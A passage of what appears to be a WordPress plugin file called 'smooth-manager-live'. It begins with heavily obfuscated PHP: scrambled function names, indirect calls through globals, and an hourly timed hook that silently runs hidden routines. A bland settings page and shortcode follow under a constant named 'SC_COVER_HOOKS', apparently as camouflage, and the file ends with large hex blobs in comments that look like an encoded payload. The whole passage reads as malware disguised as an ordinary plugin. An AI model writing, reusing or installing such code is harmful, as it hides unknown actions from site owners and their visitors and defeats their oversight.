 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*3174b158e05f2b6a355c9633310988e6ec7b271bd70fa30679757e099af4d378fb9f47de50804c43b80464b7a5388c53907884702f53235fcd787f7bbab5ee2871ea2be7c798a2c0dd42299fd1265115dd1adb394854b3363e088d6e039409b8c4864261a1634f37a3ab82bb6e2242f68d41fcea4f9f863932e4c66671601dec5d7c7a13a351a22eeb9c15cc2a649b3167604b566e818b6668d158efe353b8338742ecbc377459ef0a0252348db4c55648da5e2cd68e208666d4078e7ab076f3d31874ce050d8ab66165ddb1f0cad5ca6d3cccba2dac91738aef704f0b00ee533e00d6096bec4c11fef87cee5bd87c5f51047b699bade6d743f697bfd8b02c07164ccfeab8e8759be5d9c9351eff412b976ab0a306b2f6131c2aec97e262a1addc54d7aca48ab0ecccd24a9140d412ae961ddf79c5a9db7a2ae00d5d0c5149ddc4acee9905bb301c4e45ed4a15de7a77adb680fbf75736a31bc4a81bfa4f0a7f3d1eb7c0fbfe62b0df6805e8d5806e960c6928456026e7fb48fece4133d09ff50bc7fab0b385c900bb23e065bc23d1d9dc57e10556b3d2db685facbafd4a7fc85eb47006f9b91dbeb454bb3851fc346d63d28ca0886009c76f4404dca5f6a2e6a828b00abed77db0fd1526d8a6f900c0ace6318f9439892cc2388fc29ce207b1d6f6271314f2de1fc6c8cfa025fd878c644fbfb36644c77e8252e03e0e8ff8b3652682b245315e9d1db49fbb569197af49fd441e1aacac3ddfc56f09b16453ab952a0e37cb52f26423a77afe308babe99cf3787d3510d148fecd2f24823ac5f0c68d6aade1a7e5c77fc37b90a000e0a8c99be1fbba920e813c7837436b69279c6c87c3233c960f8a9ad11577f610fc1ea5e1e96a9f10d6bd6558f303e0fd05e225284b0610b9a844f619b75608874ea7b390dda89f521b55c3dc34d89b1dd359f9de5975e941267a80ebab216134efe1eb02b9d098a2875d26f2268d5a041bd92bf10f130b035a0373fdd1ed817c9aea880a17fa3dd19fde6cd840ff933de532bc51c0cf7797611f7b4d13bb366702d0c4d65fd409ea538f6de6e7e0bd667ebc9770fbfdfaf2844defb42c23e2a3c4d20317172dadc69d806f82e6e520c3b02a71890065a8906fef491348402e6815ea5d7f2792d62ea5be927702a962794e852c701a7a5136d33b50d3dbbb196002bd247525ac48cc5d5b59b6c765edec065fe84d2052e15f3911de230fb165446a8117ace330509b8273c357d045ee7b062f8e087603f6f8059c0ff764638e56d9fc44c36b195dfc4331def32e3a176c41279f18ede3aa091210192173a241ed6b4b5601d46ab338724fe4322585470fe49ea77ff3d54662dcba26e7e9dc9b71e6f25c04c8769f39d81b14c737701927efb2a4ccfdec402ccc83206f4eed8cdc0e6b13e5e4584945a8257ad52506636f60febe2c47f74e5110b9ae2f994ac77f6d0e490be217c638afea2f91ce3a1a6fdb7d887792aa3b75730f664e73a75be9f136392620d26368193fa86aa53217f3bdb3cee4a96bcfc63c355d6db9bf0d3e4d1159034c3e90c084b4efcf2e08fda1b9ca5128403dad406463a7ea9668a77e2d525032d0510a06027043d2be9a9167e00ebac09475d6803bd6a8391ade8bb7ccd12b28eb8c1df64a8fec56b4f349eea9a0fb4ee422c9772acf213bb6fe922f571484f9aa6464b7883eace86abeb80a9531188351b45c68909b42fde54ec25d853230f5bf7e6cdc498f4f4417fe8c9ef2e72d5fb62f1651cf27b941027925c4485f2d2790e3f470fe98f475374dd09613790bcfcd0615abc3a37e1001fde44013715ce8726be91d4ebc516f2b879dceccd55275ebbcd12d974b7fb5f841018b61978f4e7755950693452642578ddcf4f513a05d55ae462c740e93366b35786858ff5b18ef46d0b95bb13e8d04a36adc009d6bc614f347ace96af90ef0f7e060b2370270320ee34c1bcdebf58e2b211d9ddc2e931c84eec11ff8990fe86c5673a402b25dbcf34e02dfc57c10c9092c544ccd6783586b95e255e7618ef1619f2b0ffca731e276e0049e334a20c3a9d323a83d6585f3a0f5aec89d604d4a03e0b96632b8bd4757d0331b057c8756708a1b8b068eda001d47f719d5d882a0cf83275fdf942fb2f6bb9691c51ab0194bc79fa763f0239eeca1c1b40ee17d32aefcc33c682c9ec65c29e802d20515847167e5355b992f04ac73889a0fa132bac5403336ceb02e9fc103e7bc5944e836c918d6eb97931913b817fb1a757b509eb47c7e652ba5546034db11e271bae7bef9312ec8284e28daa418db81feda2b1bfb6e4a53d01d8d8c2d350dc3d94d898ad3595c96cc380376fa2e9194ae3dfd076fe34ecaa5ffdc310eab5b92e8bb1c0217787bd1118289eb9206db9627bf0faa6eb29d2fb7f4573b079447c0d107326baed5463dd5d17fec8a696f2b8869466ccd4d510e53c87246cb72b8d3dc792ad41ced878ae4a28a724fc21d32df9062bfe94572c3273da5373c4be48e2f77d3ba6c38e51a6906227874b4baa9f42e247e5fe7a09d6fcadde8afed701533d261cdf061072e7017b4f957c47b75b76d86572ddfc57a049a7f8c33c5f8720971ce2493698067c5686c2220d3874e21a79fd85a6c560a64e5adabdc3242eb8160f5ec83246081d47f5df6f19941a0f2a262c461ec3325795e094dcd21e65352f5a42fd7b38288e587b648d36a5799799a8f21104df208ccb5662487b06003789186526f4e0b5c10ab008c66ee5f47e431674ecae52ed0a04c72fdec7e262f6bfc9ef64709b800e7b579cc3869d8950b90de9eb222a2c826*/
/*adc17dfcc8570ba4f2d4a63744f20c5c42fa214b6e9e271a8a38d0c0b0c707d630491661bfe67e9b4687952f7014d3c31c8712492bbdac36e3b71d4279893b64cf498378c39a83bc0b44c4eabffa2b3ee9a35ab89eb1fb99acb58b96356fcaaaaedbb4555c78395b252bbdfc46f984cc08319adf8cd591ef31f5a8bbc0a78800f4bcd68a8d7ccf2f63ea349c951adeb3acef824e7a30bbff917e3f46af70e37a75a34391295d140bff9ca30b01125ca27f989b24ae81702ed6035d9c5e7123f9fca781f5c435859c9077bfe8b05ff54e0c483d9a60fc515d07455d1f61cac6e97d197342da5774ff4d267b96510ccd7943b8d1ff1dfaeae838bc8637c85c60e9b6cff882cac33e1b887f44150d43401a8924f8f25611489fbd493e47a0d1798567c6b412ad2759687eddec1b803796f399eb6a347d63fcf58fec770cf9187ec6e0f49619a70c13be9106b5d767275b28f02593965c258000540953f86596af6a54368401549750f5f53658f99747d825ac0e8ce1a65a1e5a0081038cfeb0cc1315e70e35dfef3f3a5a5064b17a8c77a5b00f278a77e5132f2d8cffb113cbb9cd15966c3795ded5ee608c4aef0e2e78ca4d5ca24bfd4f39187a782f63b10b1e5ffb4ee0ebdf37a0299c44e711e210cde63912d6bfe933a64977e9f6c7c771b7c185d58d86a46e84508d146b25ae5ae974c9cdedafcbdab54665325f3301fa694be6f6db7e248c80f11cd4784a87b1186666941b3fde0d5cf6efc94a6225d7f52c394ec0aea99071dcacae238848289226537d50d345f1bbfd13144f707faa94e55ce13def05ace60b30f6e7083254e4618bb501b5504bda3ee7a6e68d560d27d2ac2c158305278caba2470abe7b975a30a59e2fb02de6babdd8911075a272e288f881297125274345cadacdc726a3293954817628849f8e616a058ec34d1c1a1a42ecff588f9c37c058ad4fce32d547543d95d35a1064d3d9e2d0759bc4d5e550f102cca1f994f3813c0efd43355f22b9904fb4b27d04843354a69b0c1e766c12ae785779ac1f8c6086df87206b206b11db1b6ebe6c8362d4e696889b690f9c9d465bf0c53510902d62d531e91ae0642ad10c323a413f1c0fdd665c37390ede2e2322d374e7e08ecad128fc7584a5b8fd9c33246faffd8a70a62b0d3f57f96b226418735e1b804fbeac941c30fd6b6ded2dae0acf72ae532996763e00d489100e8eb38603dd65358cca2d6dba1116c806e60e87773095ef72255464b84c57793bdc1c7cc548c7b3ca9978f5c75264b8cebc9b7ddf1a2b04a347c645f69224b1af6807ad52059ddbe6f7667497d1d1f3de661db83394ddd3ec310c8c5f669dea6e33a55cb0bcb6857dd4f69d09ebe44b01fa0d1b81e005ba70de99b795494df9b63b049c9fbaa689926da1eb0255073420024221567004d092d5418a5bcf2ad01a6484970dfa50b80324ab24acf99c12f4c13b101fe6f71a3defc337ea98d2245d102df7bd56589f319b2beb88b867219dddacc60d3ffae20ccb9fb9759e1ad4ab2f53f57067d0ad134839a3e9f4c27b1db5803f0f6048d58b153b4ace45412b31ea2bb627a43bb18678ed7fcab7da741089bbc16c1d54ad19c633abd02beeae172c42724eba84dc70f9a22a64351a17788f15ad20ebaf67706b8ca5fe255762e91af4b06e298a8e42bc8715a6c259e21560a3287852c914b7baaeca2d606437ba0937cf075ce6a548ea215ed441baad9fc6c4b290270b5ce5639f5e6bb049eafa421a0a4fcd81a69c87ed10a9261fe227aef72a4aec97c41602b1363ee47d6141ce205e06d014befcde1013c9cee2611396d3f8625c98a410f54a98adbe3036334cc00b78193867769f9669cfc92caee2ab7f81d1081c79a97c4f7f2533f955f7b1d177a14284db843f995497fb16ef5438b971827c99b1e430d7ea858fc4141bcaefc3cae68ee44026f5a2e4c4a44e57718e11878f2561c0ce96775d7d8342a6832ce65fabf11f33db676f4464232e0134769042123efb33eeeca78e5067a9a163776c8defef5a09cbcf8ce2e26341e9f675b76dc1f92a4e93600ed737f3cd442a135ecccd0410615465a03ba7a216b5c81085e4f1e0bf26ed1181db0ab50e7cc1db2a065d39fd34451c5771b8a13120df22bfefdc98a0eb16dbeab1738c0dea5c934daabb6fe66ad9097b123001ce16d1fb82cac01e9224bcff7877bfa4b35691f1ee51cbfb733f676189cd1118731bf150a641df1375d6e1b6b8af9d6c10ba8a2a79d5b07e368ff807389b2c2c6571d7b961b075ba14a1fe6dee0bbcacad4f50ebe04b8f902e570b1a6e5dc9fbdf22caf453de56535cd555204da0c0562ccb8f9253b23984ffb9aeaa56152e27ccf35f21c4cd7eb8d83d1c458a85e87e6538d996c30c4673b53c81672366b6f6ebbf84b2343492cb02dde0a83352bdc1ed46a203eb9aa5df98766662d52e4f5a1546fae55924dbab7e09e37e45c53f1f90d5e93a122ac68fb32765f607ae97de72bb4c7d47e1b292087a3f6be72493a6e80a70ec4ea4196d0d6fcb82af3b24b4a04ce0b74b290dbc012fd11f2269a5b87e19b724499296578a4fd433c57dbbf0841b5c8ae08863fd99f5611d2a4f1af2263807437aff5655fc9c642f1a1afd46dcd7e6193ddc204cb77745f6ad730712d79e07fd50b032e87bbf56b0587d857a99143818e73ab4d9378f24ae4bc0f053c97769bef0cfb2d6b8c5a87783c1b2fd8ae01852026c90879bbf6e59709042534fa2319000d3de31d837531a25a0dbe7f59d3de43193a4613adf8e48c3682fffc99b0076ed35226acb8b7699dc471eed0a8f*/
/*9b5b66e130140cf9d242719468191804706d88ef6dc1f63b58311ee03a6b60817073b764a61d6a721cb0ce7d140872edfe407225e38af057be41bd405b7f3787e20a5d189f628155e4d00b84154ea2cb962b9608b27ba3553dc5401b253a02e42de4e2849d5128b6a0cf8700f107d4974a21c52cdc7a3b847bd5c69dba16a254ce304f502e0526f155dba8686922faa644263237d64520b27639a7664236d7de85e6bb9110a66d04e36bc4518ea2c7fc6e912dfcbcd2284f08eda2f77bd9a9d6ab3b8c9c0493889ab2e0a00b6811eae7b48b0395996f49f05f0e69b4f082bcd1a96ad4af556b8d202f993459c083d754a745636f5e6e05e6498253a47dc4bdbc137cfacb7d28e170c7c08820bd5fb18f9f16f0dd128dcaddc20bf414aa3a6cd9ebd19d1f19f829e7ded2f97ae8dde334a9701e51ea8c578aad420ed4f6fa9275d421bf8bbbf2fb5fe8361c92391347fc27b3bbfafc9194771672e70a9b875feee01af7e6ff89d073c05b8dda123589be30fb804722a07e37d3d19c7396724b209c6cf52df797fdf69a6d45069c40441ab3292185e9fba12aff884a744835cb7c573edc5a679a171d006e136e4e81f3e058751e11fe97acd397436e70160c52b02af861599a0bf921924a844f6658b2e9728e7d2fe59f24a4f2db5496e5fcc544bd19e1d50aab5104fd500e041e23ece70e4ef5ea8a348ab2bc9547ee9fbaacb721860b60bec50c6a39adf2d2d753e51dab86630fcf6d5bf0a8882437c7c9ed176b523041c9ad7b541ab326600147a838eb1205f3d09651ceff038cf65b5452059545e34239378cd0db5ef947cd7790c998651ebc065ca339f1e8dfc44c4b6443c60a7e9fbf3cd15dc858bfb2b89cb2b2f1187733f6e9e8c881c9585dc89b8407076a34d488c35063c5f7e1bcf83b6b79b2a246a05f81e928e95ac4db395649aad040473098337765dace91cd7cc66ba31be24990508157834c79f0fe8cd3ef6918464eecbc7ed23d355926ac6524f72aeaf6a4c373736eef5f0eaa9b4f2c75f7b23298fad9034e8fae2742053921c8c6e604351e4f3013fe3820bd885e7864b79b72a765592d23b3559390d3da3925da067e72609b97f6ec339bc7195705dce420854d54333746ebab647da62da69a4f1224cc84acf640f0afa140358b6c94602d0ffdea86406b43982542717a756bc5b27e972dfab40c20e81569d0b5adcaf7045ecf8344831e8047f8e975d1b2c5fca3f0e966c70827b37d7cf2ac6ec9d8ed736e1d62a149ac49846ed5ba519e956244d5df9a3ff86ff3e1782cf7f0284b3443a3b2afe54e6ee9f1148192097fc62bd6d0df6f8f2288955ff065bab4ce1ec2e8ce7c23b30239f4c8ac423e70bf5d51d2515f1782681da8f523afdcf186d11739b5c138ed1ae97a260bcf54d9b4057b9b0efa9f7b4175a3cf358268b9be5093e77f97b6aad8cb89488df13b9ee1a09cd1134581508079bad25c4c1c5b0e2d59f6aa8d573669cd0b3815b48a13a18c4eb20474f564d09bfe892a3530b78901ed4d45f32a0c7094699e25beb972a252a6bdaffe7fa6d30d3ffd449d360eefb5644dd805e481329ef606dabc929c2c8f62e942761a9b9b68f77a2e8b57194b34147f287e983c37b5559bb315274b94c496f5940d7ce18576608f9fa7d6585b7a9fe3cd753fff2706aec0ec3208a90688faad723a20411e5056ca8ccdfc4b8cfe7feee331f95c9653f50bd9fd4356c332dc09a56879627732f7d618485487409ce0f7cb88b94985131d00a66fe465a0ab611afc3271f206ed6d6f5d282fe04ebf5c3da8fb8740eadbbddd6bfef83c067412bbfc4e00e4abfd14edf074a895947859eca9b9b87d8f42792223c94bf4e75dfcf3310887cdf31dbb869850f5329ca49bc244492d162409df8f0bcdf9f4caaedac71617e086a966940a6a74078c4939429be147141078e12226d7722f54d35eb765c1afbe4b8774c35fe76c3f1c30dda962326275662a575627f72953cb674a04e6b218b8feca2f32366bdc2c58c65541bb265f02d08c038c8a24d35d88cb6bc7318eb54e80db6877f2bf7a3c82c9163ca0b603376579edd882ec41e4fc0155aad687d7b784e951866396e7929ffa7188cd6a14dc633cc057b9b1606494c69cd6b6a0f61c94c67799b8e38503c11d059e17ce6c8cf42f45fc80d16c470aec661eb3d429fbb57b3f078bce0c0164ff71e2f7cbb75638754ee424641aa8e62beb2ed51a7a9a2101f105a97bab640fbea10da150f868576de47c9cd44ac0d8d1a7cbcc3c07ecff91198c40d70aedf44f850138382e7ae2b1ad045c18d382a12f708cc5a225ce04afecd3f5cb63f530b0d1232a7950ce7054f3d00cd7a1abe69c863407727108b81c51b858c63d33e26d95b624df4182eb29a8bbdb74f06a988ab6edaad4efe09d1e5af01e72646b790a37bd1cc9dbab95f9eabea9c079e7c7c772cab4091bf7a9fe296189bc278d5e9d2db24ccd5b88aba833c81015d5a4e21382b687eccea6a25eb43812ed0e8a4b250e508c289b1d63e29c8bbbb89b347a76f50547aaaeb1a130136327f3f67dac7ec560f16be5dd2e9e6af8bda77770d9477a1b666f1129cbc1d6f659c21934845e687d4e7c34b3892fc1d78a08a9b7c11aea6664c5d98ed329511bce799c216b5dd78ba9924c793f5b49684c0a7bbb3bf0a7228fbb0c4114a2bd988085719f9cbb85735f0143e36754004881306bdebe3b43743e9eeb04fcdc015450476c5b843fbd529372f0f7f1d18e7ec0797d113bcc0599378d6e03dfe5d0c49af2b6427d2b6bf2177dde32e3bb6e7a7ebd4210a64b1b9c*/
/*021eddb64dcd67e8f7bcb8a6e051d221059b495821b104508c2ba0ea723c0783d5d62c76a8e303b4b1839795db57dff06dd11e4b78b87d588a0b2e0ba5608da5700f0f55f8975858e27a8926116424f6febf32c4d72e4648aa868f667d5163b933b8ccbe99801b4d15f44ce183729588943a23f46d8426b71ae141a3cbb7c4f8ddccef423b9fd21d3ca2fa0bff8822e7f2e52c1d37431de8885ab2694d0e91b34d771f12c67e35f3c4b3839885784ae6f6e140451c722d73c9d8253e19ea6e3ba3933e9f065a10ecf8a3635648438beffd5a393b4490c1c0c8924afc8bb94c1edf3e677ff73252ca3b35dcffcbd2a837d4be98933f343198bb30b7909f6e7adcb21147c51813c79e29599840aefebf03b4491ed55f1ee5bc2908348930f330a996d51a52a10fef7f6fba4601ccd2e3404f845c6d83a73c5080b3b029c155122c3fbf44dc0d07236ca272cda84f1019dc916368ede8f69b81dce0e1a4cab9de2be95030556e3eaad3d6dabaa12a479665138a960657ef8e0a0973bdeec3359f3775071631ce46d8441e77dc4d4e6ec3d62c6744180871c25144604dd336a0f454cdef3afb9934c38b056793a9bb923e8cbaf4731a80e6675acde50aa2c3b69769b79f4ac8a8cc2fcad99b80e4f23166f930ecd22357deaf57803afd4233512279bdf15f7632aef5f78a772a419c934fc61caf1f44e58213690f8000cb1df44977f06aecb92e788d90c89e3c981a9c366f935f066aa823f75c20175a0fd18f23b8dceb6de1698384fddef36ba19c2764277a378de61583f1a6a50097d81ae98b0de43b8b57a3a2b92e0deef255341f4073e2511ff874292c73ab6b8ad8ac45ff78e51345a168166d0a2a8c9e08ecd01e3daa4f7cbdbe5e5b049b2d3eb1320cda8209a11beeb20b37093ecadc039a595bb1f85125506dec80e965e477b03936697d543ca59500ac4588e89ce40b4ef2c6db2f2cf52cad3779fe6298cf23826832eab3b271ba6e8b869df972f75e8abcfd6f354ecbdc56cb3817b21a5419075c5fac4285697472c2a6b4ebb7290a028d741decc4893420ccd7e8dbe154edde0df3db14df9035c51a984047d64410fcfafc9ec0fb84aaba7ee59e3bcfb061215322a2402f8b8c2b966d369fe9ff77f45a1e52bd733b5a1e058744c3d14912fe29a917536896c7fc725ba625e5549747574e1ae0194450277f55b35b7c27135a158904a87e563a2d641697455f5d6cb96aaad4d2f8d08a047ef6140e2edcbc791e56a5b5022a20d6fc1728f10651a15fd4b1f7ce98f2e6c36b8a58c1521662d3070967ba9e85f6cfbd64f17ed1f4a3fa6eb10aa05991583ca2cb3d75a380abfe60e7cfe10d41ce25999a048b896f536d322b1949c41bb6ed2af6e0fc92bd6e9678f739a69f1c86554a0c82ad08d73031261de5b90b6f225d5fb7f062d6ee8ec5b134e18e7272fb7da83612224cec7df026d5759e8b5ee2b80e3a8ebbd930c855c213926c3cbd3fe54f710be7df332c4a7e46f0c4585aa7d98323b4df15bf4fa5c1a3904ed2ae831f005b4a2e2256c19fd6b8cbf2e7e5412096fa7a2e0e9e66c6b63373ef17e38916d482c9629b213c67827dce4c72a5253cfe789d3e9265bec26bf29d5be0c1e4f0a3a444c4bfa28507a1245c09ffaa262d10a719c3e37a4af96ae33725402f466c35487f7dc223cb09c5dd554cdbe56c9ab9f3d133db60c7378aeda133c5830b68792e57863b30c9ac908e694d461c7d7cee0b89255e868a5e42d5fca045c36463228c27bf7a7bb4837f98cbaa85a53ffeb532dd33ca51a151cfde067354614fb28ede2314e06a931ca6f8afd27100a1179c2110d61e793bad79077af70d59c727cac6759ba60ba1b8edf612da081c1938f7232b2edf4371e8f51b4841065112cef61d7a02fdae8f8c68eca57e8d0de68f6429cd010f8847d92fef825c69886ff8c040d77ebcc6e26c67c0b2df2d1ed28ea6cc96b717fd135d9c53129c6885c69961ba2b6caa46ee307c5f7a66db6e7fa5555df78e3161d93486f03dcf7422d14e79084d96ce600c0bb913afaca0ebee87a14bdd17fb264fd0d566000ac551c71f71a0f644dcf4b5ee829c18e325ea73c21641d83ac350e37ac2c63160cd20393ca2042a48ab2823f43bf215a26fbe5475b35782ac9346835b600d12a60081e08a686065227ce886b64f93ff1c8cfc3684416340817672e56c4bcf166bbcaf34dc6013be61ffcd8a0b8c11ca234682a147a7576955f7d228bc13f526098bc7826bf869b51f669059ea4d221c1b839d784d1fb1efa4c3de57b8747dafb240ed6da9a8bc58731f6fcb299c94cd255b0f3510133c7b7fe6e27a0e46f477a537cefb34d17d8ecfdbd745f716173143300936f36c7e84bddb0ae058113e337a42d7c1dc914583c071f53c9d9c400f1244bd100581a63e2f414a16e776acda0fe88dd31901adad4c00dc821757a0fad3d485ebe2948651b9bb31b3fb4bdf25f44e896f6322efb746c06386d9d8d1781e0ecdd41a9037c5c4b8570c2e8e0d9a62487e18a439eaa571cca5b7ed0c36dd766bcd1285820b1e9e2d7c18fee22086e348557ee85555ea1dbcb316df94ee98bf2dc6eb584e57352fa35cc7746bf9b72a6f4da4b605fc2718bfe311ab7956dea4586d98e5024755385bb104bfd3466d20804b23d45a1a8cd40182aec05258033f7f5c8ac4ce5ad866213611ac28a91972dea8c8bfae542861ca7cfa697a8402836aa82275d1d41275f60169a919bf928d20025c509605c38e641c70829d902aa7aa8ad12fbe5b4e16dc633ba55088dccdab9df44c56fbe771c6b9d9d2994cb3*/
/*c672bc6c32227c6b3ecd3900db6c0194cb707ff379c25a55c5366e73efae019f2d5521c165adcd34c9deb4cf1e3f3652018e5e1b2b8c5f784a0492480f5e0c9446a81a3545cc1b238b95254c3ec4de92f46bb6f488e92e64343a3e1c74297eb8a4be770b88a71acefc5864c3fb72b3d98487a67470105588e37f32ced8f122eecc3e5f63eccc2ad239cef554a4e7a8c532cadb68214e4ebdd0a26b99c3615c0d255c34b2d318804117850320d4e626fb6810da7731c8fd29606e9fe244a9ba75531f3e147bbc64086f7d719db065425b321a8fca908401142b16349edd9b7412346f32dc54f45d424f2e1925a209cf755af3bf59067dd982f1f144fccb7f19f920b707c28ef091b7bfac1270000c08b0da025f5517245a443d71eae86cdbcb57380a12a089ef8308227ea3c1872cca90b8c8be14f9ea7b9587e0d2ef6cee13fca2c416408703ac1845fdb5299cb1560727ce2d79b3103f197803b66afe8692a71df67c6d471f7c17a82c9889ba6dc5a6fd6e6d443ec69cd72e9f650f28f9cfd42695244b80573b646e393b7e9a77fd469e8529bd540e64d5898e465806e12a800da59091b0d905486c3f5c5571e643e225a84f5a3372b3fe2d92ab65f5e4bc56dc13c1c543f76d2b81937cd6df2b4f46658b3c3eb74b4b8f49381ea8e24d06f237959ac8ff2f5cb49e932eaa3b4664799b77e51277ce98a547385cf262825a858e1f3ccb75a21fc3cc08149818dd578ff55a82f8ddea3f1c44d58a080a44b2196d71c71ecaaec46552bc7194b38492af463422c0737f01995d71f8323adc589b69c45f089756cbf52b2db9d632b9c2b10b82e4c75fe90bdf30d992843278efb480df89c0114f93c4f926d00abbc7f90b9bd84166cc41a8a03d5aa4280cf75cf17b12642f5a4a45dfc6e6aeafd9a54f31ea476dbb50428a27ea50e9ff62487569ce25541ea8c30f684419b662efcd986f87ef99d0b5f303ebf529fc6fd20427c4f1c1f33363beef9bdd1e5adf6b24122aa3431fcd480ae690fac70849ee0b343e75fbcea993b5b0475831306ac655fb6a14d15571b60c9971ad24048b8ca45192a165dfe65a8821baad00c78d9a1c645c9a49082eaac1d79b008131c47b813cc7a910d4a25309073c49c5914a56352b022fe19e633145975e41d0b80a5ce477aeac0456302d9238da9a5c360057950dc62da3a0305815d3d438e13c9f29d09f3482bbd21e9523f86f71cda46674ea632d12e517a37d088125958077ec18cf06a64e1338605b9861abd751f56f37d23c4125bdee433600d34be29d9bf94a65c1283337a2b4b8028b8b7a6dcc46e217ac3788b7953d01025c6b23ebbf0d07cc94aa0a1143ede48f5043faa00dff780126dc15f861be0d8c6a7cdffc27978037ca72aa3c2262ab7fea87cc5cfcdf7e32de5a7d53602bed3c452de7fed0d0de29018fe55095ddd3dae920ba6ca34548e7fbadd05911448c2683047344e776a88f33cd17f96b6831e20cc556510f64b23338f5468400ed1cd3c0462de05a5c7e6c9ce0b93f5de504caf722c4d9e00d905f354d18818ba5d20f1053e81a16130819d08e4633137743c5faae99fa2a55fd4bee0991aa2350e20cb51980378ff799b78889b03f8ffda675097ef9cb85439e5ff9a62332ecca0abcaeb1f4785223d5933389bff29da8c0cac18621f18c601c08ff46b72a9a133cc33d64821ae772b607c73da5607c2a01c915fba1295ed49656a68c07de3efd1bf02c1ba22895049708cf7f9ec10e1803203b01cf5aebc6e2ea0e64e4c2a2fcb816f03f7404ed36452308007be5a6b5245bd86df8a21d57c989bf01ccea0838f003648d9ccb746cd08129ed36862e5cc6c9a96fd0a324da962d4351a882d7436dd5c19d9afb89cec8c1156a424745fd0542b2127af1910a17abdbfc2495ff4bfc05e276fb979ac62b10fb3483856fe51110fb98391728a57167a0c1e51d77e3f0bd28721ff5d3e0cefc92e0bcee6af0292b1147ded070195899d4edf1962542124f8a41f357147605662310b7221ef009cb361df18bf9eb846111ba00a87d2dea608bb27b21ea0d4c926070309d761c596425b8dc066c05e45956f05cf3fd20aac4aedb4a729a3ca2d29591f486430999efd4b257efab145c17fa95c4e1576d623850a42eaafc5e0412e4f9457b11c88d4a11da5718bb998557c476a31edef19c6c62c35792ca4175c43b552ba942e14b5f2a4ba4164b822fa8ddaa886c56f20c79a007960698139ffd50776ea4570eb98f70adccb97580187adf9b497aac8cfcc26abd322b4b897ffaf49272f8b4584963b6aa03ad1bb9704deb1af71eb0e1edd0f397141e46893b80b48cce9ef64b77e4b618c473210281c636a0814a130824d8857754cf5530fd9b08ab85a63960c5f72dafe3a0c595839955ede1ca57577edfc3a7318228212ac4111015dd92985996fd3592e4189b93f0a69502d8c7dde70bea92e444880de4fcf9c8b50569a93be6afb0539b79fc0b4f1fd6e5604ef2712c6d612ba31aa03aeea6633abfe9cfff2263b78e861dd14c410fad4fd4fcd1d5c611248fc0f372f272419e5b16944dce9decd4ef4f95b806a9a2ef529e5a4a064dda3